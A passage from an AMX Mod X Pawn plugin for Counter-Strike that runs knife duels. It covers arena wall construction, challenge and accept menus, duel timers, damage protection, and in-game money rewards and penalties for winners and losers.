  905. public Player_spawn_post(id)
  906. {
  907.     Set_Entity_Invisible(id, 0)
  908.     if(is_user_alive(id))
  909.     {
  910.         if(is_in_duel[id] != 2)
  911.         {
  912.             set_task(1.0,"get_spawn_origin",id)
  913.             return;
  914.         }
  915.         if(is_in_duel[id] == 2)
  916.             spawn_back(id)
  917.     }
  918. }
  919.  
  920. public spawn_back(id)
  921. {
  922.     entity_set_origin(id,his_spawn[id])
  923.     set_user_health(id,map_default_hp)
  924.     set_user_armor(id,0)
  925.     set_user_godmode(id, 0)
  926.     if(is_user_connected(his_challenger[id]))
  927.     {
  928.         check_teams(id,his_challenger[id])
  929.         entity_set_origin(his_challenger[id],his_spawn[his_challenger[id]])
  930.         set_user_health(his_challenger[id],map_default_hp)
  931.         set_user_armor(his_challenger[id],0)
  932.         entity_set_vector(id, EV_VEC_angles, his_angle[id])
  933.         entity_set_int(id, EV_INT_fixangle, 1)
  934.         entity_set_vector(his_challenger[id], EV_VEC_angles, his_angle[his_challenger[id]])
  935.         entity_set_int(his_challenger[id], EV_INT_fixangle, 1)
  936.     }
  937. }
  938.  
  939. public update_cvars()
  940. {
  941.     MAP_FIX_ENABLED = get_pcvar_num(cvar_z_fix)
  942.     SOUNDS_ENABLED = get_pcvar_num(cvar_sounds)
  943.     MAX_ROUNDS = get_pcvar_num(cvar_rounds)
  944.     MAX_KILLS = get_pcvar_num(cvar_kills)
  945.     MAX_COUNTDOWN = get_pcvar_num(cvar_cooldown)
  946.     MAX_TIME = get_pcvar_num(cvar_time)
  947. }
  948.  
  949. stock remove_allarenas()
  950. {
  951.     new arenas_ent=-1;
  952.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  953.     {
  954.         engfunc(EngFunc_RemoveEntity,arenas_ent)
  955.     }
  956.     fakes = 0
  957. }
  958.  
  959. public get_all_arena_coords(id)
  960. {
  961.     new Float:origin[3]
  962.     new arenas_ent=-1;
  963.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  964.     {
  965.         if(entity_get_int(arenas_ent,EV_INT_iuser2) == CENTER_CODE)
  966.         {
  967.             pev(arenas_ent,pev_origin,origin);
  968.             client_print(id,print_console,"%.f %.f %.f",origin[0],origin[1],origin[2])
  969.         }
  970.     }
  971.     client_print_color(id, DontChange, "%s ^4Coords printed in console.",CHAT_TAG)
  972. }
  973.  
  974. public remove_the_fake_arena()
  975. {
  976.     new arenas_ent=-1;
  977.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  978.     {
  979.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == FAKE_CODE)
  980.             engfunc(EngFunc_RemoveEntity,arenas_ent)
  981.     }
  982.     fakes = 0
  983. }
  984.  
  985. public next_fake_arena()
  986. {
  987.     if(fakes_count() >= MAX_ARENAS)
  988.         return -1
  989.     for(new i=1;i < MAX_ARENAS+1;i++)
  990.     {
  991.         if(!fake_arena_exists(i))
  992.         {
  993.             return i
  994.         }
  995.     }
  996.     return -1
  997.     /*new num = fakes
  998.     num++
  999.     return num*/
  1000. }
  1001.  
  1002. public remove_the_arena(code)
  1003. {
  1004.     new arenas_ent=-1;
  1005.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ARENA_ENT_NAME)))
  1006.     {
  1007.         if(entity_get_int(arenas_ent,EV_INT_iuser1) == code)
  1008.             engfunc(EngFunc_RemoveEntity,arenas_ent)
  1009.     }
  1010. }
  1011.  
  1012. public start_build(id)
  1013. {
  1014.     if(!is_user_connected(id))
  1015.         return PLUGIN_HANDLED
  1016.     if(is_in_duel[id] != 2)
  1017.         return PLUGIN_HANDLED
  1018.     if(!his_challenger[id])
  1019.         return PLUGIN_HANDLED
  1020.     if(!total_arenas)
  1021.     {
  1022.         return PLUGIN_HANDLED
  1023.     }
  1024.     static Float:origin[3];
  1025.     //get_user_hitpoint(id,origin)
  1026.     /*origin[0] = 1002.911376
  1027.     origin[1] = -1561.421997
  1028.     origin[2] = 0.0*/
  1029.     origin[0] = arena_coord[arena_number[id]][0]
  1030.     origin[1] = arena_coord[arena_number[id]][1]
  1031.     origin[2] = arena_coord[arena_number[id]][2]
  1032.     new Float:fake_origin[3]
  1033.     static size
  1034.     size = sizeof(ARENA_COORDS)
  1035.     new ent_code = arena_number[id]+ARENA_CODE
  1036.     for(new coords;coords < size; coords++)
  1037.     {
  1038.         fake_origin[0] = origin[0]
  1039.         fake_origin[1] = origin[1]
  1040.         fake_origin[2] = origin[2]
  1041.         //fake_origin[2]=-712.876892
  1042.         //fake_origin[2]=-864.253723
  1043.         fake_origin[0]+=ARENA_COORDS[coords][0]*1.7
  1044.         fake_origin[1]+=ARENA_COORDS[coords][1]*1.53
  1045.        
  1046.         new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  1047.        
  1048.         set_pev(ent,pev_classname,ARENA_ENT_NAME);
  1049.         engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
  1050.         entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
  1051.         engfunc(EngFunc_SetSize,ent,ARENA_MINS,ARENA_MAXS);
  1052.         entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
  1053.         entity_set_int(ent,EV_INT_iuser1,ent_code)
  1054.         engfunc(EngFunc_SetOrigin,ent,fake_origin);
  1055.         static Float:rvec[3];
  1056.         pev(ent,pev_v_angle,rvec);
  1057.        
  1058.         rvec[0]=90.0;
  1059.         set_pev(ent,pev_angles,rvec);
  1060.        
  1061.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 100.0)
  1062.         {
  1063.             create_wall(LEFT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
  1064.         }
  1065.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == -100.0)
  1066.         {
  1067.             create_wall(RIGHT_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
  1068.         }
  1069.         if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
  1070.         {
  1071.             create_wall(TOP_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
  1072.             entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
  1073.         }
  1074.         else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
  1075.         {
  1076.             create_wall(BLUE_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
  1077.             if(cs_get_user_team(id) == CS_TEAM_CT)
  1078.             {
  1079.                 set_spawn_positions(id,BLUE_SIDE,fake_origin,rvec)
  1080.             }                                                                              
  1081.             else
  1082.             {
  1083.                 if(his_challenger[id])
  1084.                 {
  1085.                     set_spawn_positions(his_challenger[id],BLUE_SIDE,fake_origin,rvec)
  1086.                 }
  1087.             }
  1088.             //set_rendering(ent,kRenderFxGlowShell,0,0,200,kRenderNormal,10)
  1089.         }
  1090.         else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
  1091.         {
  1092.             create_wall(RED_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
  1093.             if(cs_get_user_team(id) == CS_TEAM_T)
  1094.             {
  1095.                 set_spawn_positions(id,RED_SIDE,fake_origin,rvec)
  1096.             }                                                                              
  1097.             else
  1098.             {
  1099.                 if(his_challenger[id])
  1100.                 {
  1101.                     set_spawn_positions(his_challenger[id],RED_SIDE,fake_origin,rvec)
  1102.                 }
  1103.             }
  1104.             //set_rendering(ent,kRenderFxGlowShell,200,0,0,kRenderNormal,10)
  1105.         }
  1106.         spawn_back(id)
  1107.     }
  1108.    
  1109.     return PLUGIN_HANDLED;
  1110. }
  1111.  
  1112. public set_spawn_positions(id,side,Float:origin[3],Float:angle[3])
  1113. {
  1114.     if(side == BLUE_SIDE)
  1115.         his_spawn[id][0] = origin[0]-20.0
  1116.     else his_spawn[id][0] = origin[0]-120.0
  1117.     his_spawn[id][1] = origin[1]
  1118.     his_spawn[id][2] = origin[2]+50.0
  1119.     entity_get_vector(id, EV_VEC_angles,his_angle[id])
  1120.     switch(side)
  1121.     {
  1122.         case RED_SIDE:
  1123.         {
  1124.             his_angle[id][1] = 0.0
  1125.             his_angle[id][0] = 0.0
  1126.            
  1127.         }
  1128.         case BLUE_SIDE:
  1129.         {
  1130.             his_angle[id][1] = 180.0
  1131.             his_angle[id][0] = 0.0
  1132.         }
  1133.     }
  1134.     got_spawn[id] = 1
  1135. }
  1136.  
  1137. public stuck_check(Float:origin[3],Float:radius)
  1138. {
  1139.     new player=-1;
  1140.     while((player = find_ent_in_sphere(player,origin,radius)) != 0)
  1141.     {
  1142.         if(is_user_alive(player))
  1143.         {
  1144.             if(is_player_stuck(player) && is_in_duel[player] != 2)
  1145.             {
  1146.                 back_to_the_spawn(player)
  1147.             }
  1148.         }
  1149.     }
  1150. }
  1151.  
  1152. stock is_player_stuck(id)
  1153. {
  1154.     static Float:originF[3]
  1155.     pev(id, pev_origin, originF)
  1156.    
  1157.     engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
  1158.    
  1159.     if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
  1160.         return true;
  1161.    
  1162.     return false;
  1163. }
  1164.  
  1165. public create_wall(type,alpha,solidity,code,code1,code2,Float:origin[3])
  1166. {
  1167.     new Float:wall_maxsize[3];
  1168.     new Float:wall_minsize[3];
  1169.     new Float:rvec[3];
  1170.     new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  1171.     pev(ent,pev_v_angle,rvec);
  1172.     switch(type)
  1173.     {
  1174.         case BLUE_SIDE:
  1175.         {
  1176.             wall_maxsize[0] = 2.0
  1177.             wall_minsize[0] = 0.0
  1178.             wall_maxsize[1] = 230.0
  1179.             wall_minsize[1] = -230.0
  1180.             wall_maxsize[2] = 150.0
  1181.             wall_minsize[2] = -1.0
  1182.             rvec[1]=180.0
  1183.         }
  1184.         case RED_SIDE:
  1185.         {
  1186.             wall_maxsize[0] = -150.0
  1187.             wall_minsize[0] = -152.0
  1188.             wall_maxsize[1] = 230.0
  1189.             wall_minsize[1] = -230.0
  1190.             wall_maxsize[2] = 150.0
  1191.             wall_minsize[2] = -1.0
  1192.             rvec[1]=180.0
  1193.         }
  1194.         case LEFT_SIDE:
  1195.         {
  1196.             wall_maxsize[0] = 360.0
  1197.             wall_minsize[0] = -300.0
  1198.             wall_maxsize[1] = 65.0
  1199.             wall_minsize[1] = 63.0
  1200.             wall_maxsize[2] = 150.0
  1201.             wall_minsize[2] = -1.0
  1202.             rvec[1]=90.0
  1203.         }
  1204.         case RIGHT_SIDE:
  1205.         {
  1206.             wall_maxsize[0] = 360.0
  1207.             wall_minsize[0] = -300.0
  1208.             wall_maxsize[1] = -63.0
  1209.             wall_minsize[1] = -65.0
  1210.             wall_maxsize[2] = 150.0
  1211.             rvec[1]=90.0
  1212.         }
  1213.         case TOP_SIDE:
  1214.         {
  1215.             wall_maxsize[0] = 360.0
  1216.             wall_minsize[0] = -300.0
  1217.             wall_maxsize[1] = 230.0
  1218.             wall_minsize[1] = -230.0
  1219.             wall_maxsize[2] = 150.0
  1220.             wall_minsize[2] = 148.0
  1221.             rvec[0]=90.0          
  1222.         }
  1223.     }
  1224.     set_pev(ent,pev_angles,rvec);
  1225.    
  1226.     set_pev(ent,pev_classname,ARENA_ENT_NAME);
  1227.     engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
  1228.     entity_set_int(ent, EV_INT_solid, solidity);
  1229.     engfunc(EngFunc_SetSize,ent,wall_minsize,wall_maxsize);
  1230.     entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
  1231.     entity_set_int(ent,EV_INT_iuser1,code)
  1232.     entity_set_int(ent,EV_INT_iuser2,code1)
  1233.     entity_set_int(ent,EV_INT_iuser3,code2)
  1234.     engfunc(EngFunc_SetOrigin,ent,origin);
  1235.     set_rendering(ent,kRenderFxGlowShell,0,0,0,kRenderTransAlpha,alpha)
  1236. }
  1237.  
  1238. public get_spawn_origin(id)
  1239. {
  1240.     pev(id,pev_origin,his_original_spawn[id]);
  1241. }
  1242.  
  1243. stock get_user_hitpoint(id,Float:hOrigin[3])  {
  1244.     if(!is_user_alive(id))
  1245.         return 0;
  1246.  
  1247.     new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
  1248.     new Float:fTemp[3];
  1249.  
  1250.     pev(id,pev_origin,fOrigin);
  1251.     pev(id,pev_v_angle,fvAngle);
  1252.     pev(id,pev_view_ofs,fvOffset);
  1253.  
  1254.     xs_vec_add(fOrigin,fvOffset,fvOrigin);
  1255.  
  1256.     engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
  1257.  
  1258.     xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
  1259.     xs_vec_add(fvOrigin,feOrigin,feOrigin);
  1260.  
  1261.     engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
  1262.     global_get(glb_trace_endpos,hOrigin);
  1263.  
  1264.     return 1;
  1265. }
  1266.  
  1267. public plugin_precache()
  1268. {
  1269.     new size;
  1270.     size = sizeof(ARENA_MODELS)
  1271.     for(new i; i< size; i++)
  1272.     {
  1273.         engfunc(EngFunc_PrecacheModel,ARENA_MODELS[i]);
  1274.     }
  1275. }
  1276.  
  1277.  
  1278. public round_start_event()
  1279. {
  1280.     update_cvars()
  1281.     // using a variable to store player's names instead of regenerating it all the time...
  1282.     for(new id;id < MAX_PLAYERS;id++)
  1283.     {
  1284.         if(is_user_connected(id))
  1285.         {
  1286.             get_user_name(id,his_name[id],charsmax(his_name))
  1287.         }
  1288.     }
  1289. }
  1290.  
  1291. public Advertise(task)
  1292. {
  1293.     client_print_color(0, DontChange,"%s^3%s ^1by ^4%s ^1for ^4%s^1.",CHAT_TAG,P_NAME,P_AUTH,P_REQ)
  1294.     set_task(300.0,"Advertise",TASK_AD)
  1295. }
  1296.  
  1297. public Cmd_start(id,hndle)
  1298. {
  1299.     if(!is_user_alive(id))
  1300.         return FMRES_IGNORED
  1301.     if(!is_frozen[id])
  1302.         return FMRES_IGNORED
  1303.     new Buttons = get_uc(hndle,UC_Buttons)
  1304.     if(Buttons & IN_ATTACK)
  1305.     {
  1306.         Buttons &= ~IN_ATTACK
  1307.         set_uc( hndle , UC_Buttons , Buttons )
  1308.         return FMRES_SUPERCEDE
  1309.     }
  1310.     if(Buttons & IN_ATTACK2)
  1311.     {
  1312.         Buttons &= ~IN_ATTACK2
  1313.         set_uc( hndle , UC_Buttons , Buttons )
  1314.         return FMRES_SUPERCEDE
  1315.     }
  1316.     return FMRES_IGNORED
  1317. }
  1318.  
  1319. public Player_Take_Damage(victim, inflictor, attacker, Float:damage, damage_bits)
  1320. {    
  1321.     if(is_user_connected(attacker)) // we make sure the attacker is a player
  1322.     {
  1323.         if(is_in_duel[victim] == 2 || is_in_duel[attacker] == 2)
  1324.         {
  1325.             if(his_challenger[victim] != attacker || his_challenger[attacker] != victim)
  1326.             {
  1327.                 // we protect the contenders from getting killed by other people or them killing others?
  1328.                 return HAM_SUPERCEDE
  1329.             }
  1330.         }
  1331.     }
  1332.     return HAM_IGNORED
  1333. }
  1334.  
  1335. public client_putinserver(id)
  1336. {
  1337.     get_user_name(id,his_name[id],charsmax(his_name))
  1338.     reset_values(id)
  1339.     move_size[id] = 10.0
  1340.     his_offline[id] = 0
  1341.     his_previous_team[id] = 0
  1342. }
  1343.  
  1344. public client_disconnect(id)
  1345. {
  1346.     end_his_duel(id)
  1347. }
  1348.  
  1349. public end_his_duel(id)
  1350. {
  1351.     if(his_challenger[id])
  1352.     {
  1353.         client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s^1's challenger ^4%s^1 has ^3left the game^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
  1354.        
  1355.         if(arena_number[id] == arena_number[his_challenger[id]])
  1356.             remove_the_arena(arena_number[id] +ARENA_CODE)
  1357.         back_to_the_spawn(id)
  1358.         back_to_the_spawn(his_challenger[id])
  1359.         reset_values(his_challenger[id])
  1360.     }
  1361.     reset_values(id)
  1362. }
  1363.  
  1364. public times_up_duel(id)
  1365. {
  1366.     client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s^1 ^1and ^4%s^1 has taken long to ^3finish the battle^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
  1367.        
  1368.     if(his_challenger[id])
  1369.     {
  1370.         if(arena_number[id] == arena_number[his_challenger[id]])
  1371.             remove_the_arena(arena_number[id] +ARENA_CODE)
  1372.         user_kill(id,1)
  1373.         user_kill(his_challenger[id],1)
  1374.         back_to_the_spawn(id)
  1375.         back_to_the_spawn(his_challenger[id])
  1376.         reset_values(his_challenger[id])
  1377.     }
  1378.     reset_values(id)
  1379. }
  1380.  
  1381. public battle_timer(id)
  1382. {
  1383.     if(is_user_connected(id))
  1384.     {
  1385.         if(is_in_duel[id] == 2)
  1386.         {
  1387.             his_timer[id]++
  1388.             if(his_timer[id] > MAX_TIME)
  1389.             {
  1390.                 times_up_duel(id)
  1391.             }
  1392.             set_task(1.0,"battle_timer",id)
  1393.         }
  1394.     }
  1395. }
  1396.  
  1397. public say_hook(id)
  1398. {
  1399.     static Chat_C[32]
  1400.     read_args(Chat_C,charsmax(Chat_C))
  1401.     remove_quotes(Chat_C)
  1402.     if(equali(Chat_C,DUEL_COMMAND))
  1403.     {
  1404.         //request a duel
  1405.         duel_players_list(id)
  1406.     }
  1407.     if(equali(Chat_C,TOGGLE_COMMAND))
  1408.     {
  1409.         //request a duel
  1410.         toggle_offline(id)
  1411.     }
  1412.     if(equali(Chat_C,GIVEUP_COMMAND))
  1413.     {
  1414.         //leave a duel
  1415.         if(is_in_duel[id] == 2)
  1416.         {
  1417.             give_up_player(id)
  1418.         }
  1419.         else
  1420.         {
  1421.             client_print_color(id, DontChange,"%sYou're not part of any battle.",CHAT_TAG)
  1422.         }
  1423.     }
  1424.     return PLUGIN_CONTINUE
  1425. }
  1426.  
  1427. public toggle_offline(id)
  1428. {
  1429.     switch(his_offline[id])
  1430.     {
  1431.         case 0:
  1432.         {
  1433.             his_offline[id] = 1
  1434.             client_print_color(0, DontChange,"%s^4%s^1 disconnected from the duel list.",CHAT_TAG,his_name[id])
  1435.         }
  1436.         default:
  1437.         {
  1438.             his_offline[id] = 0
  1439.             client_print_color(0, DontChange,"%s^4%s^1 connected to the duel list.",CHAT_TAG,his_name[id])
  1440.         }
  1441.     }
  1442. }
  1443.  
  1444. public give_up_player(id)
  1445. {
  1446.     if(is_user_connected(his_challenger[id]))
  1447.     {
  1448.         client_print_color(0, DontChange,"%s^4%s^3 got scared to face ^4%s^3! :)",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
  1449.         if(arena_number[id] == arena_number[his_challenger[id]])
  1450.             remove_the_arena(arena_number[id] +ARENA_CODE)
  1451.         back_to_the_spawn(id)
  1452.         back_to_the_spawn(his_challenger[id])
  1453.         reset_values(his_challenger[id])
  1454.     }
  1455.     reset_values(id)
  1456. }
  1457.  
  1458. public reward_winner(id)
  1459. {
  1460.     if(is_user_connected(id))
  1461.     {
  1462.         // here you can reward the winner with something
  1463.         client_print_color(id, DontChange,"%s^4Congratulations!!!^1, You have ^3won this battle^1!",CHAT_TAG)
  1464.         if(SOUNDS_ENABLED)
  1465.             client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[0])
  1466.         if(cs_get_user_money(id)+15000 <= 16000)
  1467.         {
  1468.             cs_set_user_money(id,cs_get_user_money(id)+15000,1)
  1469.             //client_print_color(id, DontChange,"%s^4You've earned ^3$15000^4!",CHAT_TAG)
  1470.         } else cs_set_user_money(id,16000,1)
  1471.     }
  1472. }
  1473.  
  1474. public reward_loser(id)
  1475. {
  1476.     if(is_user_connected(id))
  1477.     {
  1478.         // here you can reward the winner with something
  1479.         user_kill(id,1)
  1480.         client_print_color(id, DontChange,"%sYou've ^3lost this battle^1!",CHAT_TAG)
  1481.         if(SOUNDS_ENABLED)
  1482.             client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[1])
  1483.         if(cs_get_user_money(id)-15000 >= 0)
  1484.         {
  1485.             cs_set_user_money(id,cs_get_user_money(id)-15000,1)
  1486.             //client_print_color(id, DontChange,"%s^4You've lost ^3$15000^4!",CHAT_TAG)
  1487.         } else cs_set_user_money(id,0,1)
  1488.     }
  1489. }
  1490.  
  1491. public duel_players_list(id)
  1492. {
  1493.     if(!is_user_alive(id))
  1494.     {
  1495.         client_print_color(id, DontChange,"%sYou can't challenge anyone when you're ^3dead1.",CHAT_TAG)
  1496.         return PLUGIN_HANDLED
  1497.     }
  1498.     if(his_offline[id])
  1499.     {
  1500.         client_print_color(id, DontChange,"%sYou can't challenge people when you're ^3offline^1.",CHAT_TAG)
  1501.         return PLUGIN_HANDLED
  1502.     }
  1503.     if(is_user_connected(his_challenger[id]))
  1504.     {
  1505.         client_print_color(id, DontChange,"%s^4%s ^1is still ^4fighting against you^1.",CHAT_TAG,his_name[his_challenger[id]])
  1506.         return PLUGIN_HANDLED
  1507.     }
  1508.     if(is_user_connected(his_asker[id]))
  1509.     {
  1510.         client_print_color(id, DontChange,"%sYou can only ^3challenge one person^1 at the time, you've challenged ^4%s^1.",CHAT_TAG,his_name[his_asker[id]])
  1511.         return PLUGIN_HANDLED
  1512.     }
  1513.     if(!available_duelers(id))
  1514.     {
  1515.         client_print_color(id, DontChange,"%sThere's ^4nobody^1 you can challenge.",CHAT_TAG)
  1516.         return PLUGIN_HANDLED
  1517.     }
  1518.     if(get_next_arena() == -1)
  1519.     {
  1520.         client_print_color(id, DontChange,"%s^4Maximum arenas reached.",CHAT_TAG)
  1521.         return PLUGIN_HANDLED
  1522.     }
  1523.     new menu,menuformat[64];
  1524.     formatex(menuformat,charsmax(menuformat),"\w[ \rKnifeDuels \w] \dArenas: %d/%d",arenas_count(),total_arenas)
  1525.     menu = menu_create( menuformat, "Duel_handler" );
  1526.    
  1527.     new players[32], pnum, tempid;
  1528.    
  1529.     new szName[32], szUserId[32],nameu[92],CsTeams:team;
  1530.     formatex(nameu,charsmax(nameu), "\yRefresh");
  1531.     menu_additem(menu, nameu,"rf_c", 0);
  1532.     menu_addblank(menu,0)
  1533.     get_players( players, pnum, "c" );
  1534.     for ( new e; e<pnum; e++ )
  1535.     {
  1536.         tempid = players[e]
  1537.         team = cs_get_user_team(tempid)
  1538.        
  1539.         if(tempid != id && team != CS_TEAM_SPECTATOR && team != CS_TEAM_UNASSIGNED)//  && !users_in_same_team(id,tempid))
  1540.         {
  1541.             get_user_name(tempid, szName, charsmax(szName));
  1542.             formatex(szUserId, charsmax(szUserId), "%d", get_user_userid(tempid));
  1543.             if(his_offline[tempid])
  1544.             {
  1545.                 formatex(nameu,charsmax(nameu), "\d%s [Offline]", szName);
  1546.                 menu_additem(menu, nameu, szUserId, 0);
  1547.             }
  1548.             else
  1549.             {
  1550.                 if(is_in_duel[tempid] == 2)
  1551.                 {
  1552.                     formatex(nameu,charsmax(nameu), "\r%s [Duel]", szName);
  1553.                     menu_additem(menu, nameu, szUserId, 0);
  1554.                 }
  1555.                 else if(is_in_duel[tempid] == 1)
  1556.                 {
  1557.                     formatex(nameu,charsmax(nameu), "\y%s [Pending]", szName);
  1558.                     menu_additem(menu, nameu, szUserId, 0);
  1559.                 }
  1560.                 else
  1561.                 {
  1562.                     formatex(nameu,charsmax(nameu), "%s", szName);
  1563.                     menu_additem(menu, nameu, szUserId, 0);
  1564.                 }
  1565.             }
  1566.         }
  1567.     }
  1568.    
  1569.     menu_display(id, menu, 0 );
  1570.     return PLUGIN_HANDLED
  1571. }
  1572.  
  1573. public Duel_handler( id, menu, item )
  1574. {
  1575.     if ( item == MENU_EXIT )
  1576.     {
  1577.         menu_destroy( menu );
  1578.         return PLUGIN_HANDLED;
  1579.     }
  1580.    
  1581.     new szData[32], szName[64];
  1582.     new _access, item_callback;
  1583.     menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
  1584.     if(equali(szData,"rf_c"))
  1585.     {
  1586.         menu_destroy( menu );
  1587.         duel_players_list(id)
  1588.         return PLUGIN_CONTINUE
  1589.     }
  1590.     new userid = str_to_num( szData );
  1591.     //spam_hud(id)
  1592.     new enem = find_player("k", userid); // flag "k" : find player from userid
  1593.     if (is_user_connected(enem))
  1594.     {
  1595.         if(his_offline[enem])
  1596.         {
  1597.             client_print_color(id, DontChange,"%sYou can't challenge offline players.",CHAT_TAG)
  1598.         }
  1599.         else
  1600.         {
  1601.             if(!is_in_duel[enem])
  1602.             {
  1603.                 //spam_hud(enem)
  1604.                 is_in_duel[enem] = 1
  1605.                 is_in_duel[id] = 1
  1606.                 his_asker[id] = enem
  1607.                 his_asker[enem] = id
  1608.                 ask_player(enem)
  1609.                 client_print_color(0, DontChange,"%s^4%s^1 has ^3challenged^1 ^4%s^1 for a ^3duel^1!",CHAT_TAG,his_name[id],his_name[enem])
  1610.                
  1611.                 set_task(10.0,"taken_long",id)
  1612.             }
  1613.             else
  1614.             {
  1615.                 client_print_color(id, DontChange,"%s^4%s^1 seems to be busy with another duel..",CHAT_TAG,his_name[enem])
  1616.             }
  1617.         }
  1618.     }
  1619.     menu_destroy( menu );
  1620.     return PLUGIN_CONTINUE;
  1621. }
  1622.  
  1623. public taken_long(id)
  1624. {
  1625.     if(is_in_duel[id] == 1)
  1626.     {
  1627.         client_print_color(0, DontChange,"%s^4%s ^1has taken ^3too long to respond ^1to ^4%s^1's challenge.",CHAT_TAG,his_name[his_asker[id]],his_name[id])
  1628.         reset_values(his_asker[id])
  1629.         reset_values(id)
  1630.     }
  1631. }
  1632.  
  1633. stock available_duelers(asker)
  1634. {
  1635.     new num;
  1636.     num = 0 // just incase...
  1637.     for(new id;id < MAX_PLAYERS;id++)
  1638.     {
  1639.         if(is_user_alive(id))
  1640.         {
  1641.             if(/*!is_in_duel[id] && */id != asker && !is_user_bot(id))
  1642.             {
  1643.                 num++
  1644.             }
  1645.         }
  1646.     }
  1647.     return num
  1648. }
  1649.  
  1650. public ask_player(id)
  1651. {
  1652.     if(!is_user_alive(id))
  1653.     {
  1654.         return PLUGIN_HANDLED
  1655.     }
  1656.     new asker_name[32],menu_title[64];
  1657.     get_user_name(his_asker[id],asker_name,charsmax(asker_name))
  1658.     formatex(menu_title,charsmax(menu_title),"\rAccept Duel \y%s\r?",asker_name)
  1659.     new menu
  1660.     menu = menu_create( menu_title, "Ask_handler" );
  1661.    
  1662.     menu_additem(menu, "Sure!", "user_said_yes", 0);
  1663.     menu_additem(menu, "Nope!","user_said_no", 0);
  1664.    
  1665.     menu_display(id, menu, 0 );
  1666.     return PLUGIN_HANDLED
  1667. }
  1668.  
  1669. public Ask_handler( id, menu, item )
  1670. {
  1671.     if ( item == MENU_EXIT )
  1672.     {
  1673.         menu_destroy( menu );
  1674.         return PLUGIN_HANDLED;
  1675.     }
  1676.    
  1677.     new szData[32], szName[64];
  1678.     new _access, item_callback;
  1679.     menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
  1680.    
  1681.     if(equali(szData,"user_said_yes"))
  1682.     {
  1683.         if(get_next_arena() == -1)
  1684.         {
  1685.             client_print_color(his_asker[id], DontChange,"%sMaximum arenas reached.",CHAT_TAG)
  1686.             reset_values(his_asker[id])
  1687.             reset_values(id)
  1688.         }
  1689.         else if(is_in_duel[his_asker[id]] == 1)
  1690.         {
  1691.             manage_battle(id)
  1692.             check_teams(id,his_challenger[id])
  1693.             begin_the_battle(id,his_challenger[id])
  1694.         } else
  1695.         {
  1696.             client_print_color(id, DontChange,"%s%s either canceled the duel or chosen someone else to duel.",CHAT_TAG,his_name[his_asker[id]])
  1697.             reset_values(his_asker[id])
  1698.             reset_values(id)
  1699.         }
  1700.     }
  1701.     else if(equali(szData,"user_said_no"))
  1702.     {
  1703.         if(is_user_connected(his_asker[id]))
  1704.         {
  1705.             client_print_color(0, DontChange,"%s^4%s^3 rejected ^4%s^3's challenge.",CHAT_TAG,his_name[id],his_name[his_asker[id]])
  1706.             reset_values(his_asker[id])
  1707.             reset_values(id)
  1708.         }
  1709.        
  1710.     }
  1711.     menu_destroy( menu );
  1712.     return PLUGIN_CONTINUE;
  1713. }
  1714.  
  1715. public Player_Killed(victim, attacker, shouldgib)
  1716. {
  1717.     if(!is_user_connected(victim))
  1718.         return HAM_IGNORED;
  1719.     if(is_user_connected(his_challenger[victim]) && !is_user_connected(attacker))
  1720.     {
  1721.         if(!check_teams(victim,attacker))
  1722.             return HAM_IGNORED
  1723.     }
  1724.     if(!is_user_connected(attacker))
  1725.         return HAM_IGNORED
  1726.        
  1727.     if(attacker == victim)
  1728.         return HAM_IGNORED
  1729.    
  1730.     if(is_in_duel[attacker] != 2 || is_in_duel[victim] != 2)
  1731.         return HAM_IGNORED
  1732.    
  1733.     if(his_challenger[victim] == attacker || his_challenger[attacker] == victim )
  1734.     {
  1735.         //fake_death(attacker,victim)
  1736.         his_wins[attacker]++
  1737.         rounds[arena_number[attacker]]++
  1738.         static ret;
  1739.         ExecuteForward(killed_forward, ret, attacker,victim)
  1740.         if(Head_shot[attacker][victim])
  1741.         {
  1742.             his_HS[attacker]++
  1743.             Head_shot[attacker][victim] = false
  1744.         }
  1745.         user_silentkill(victim)
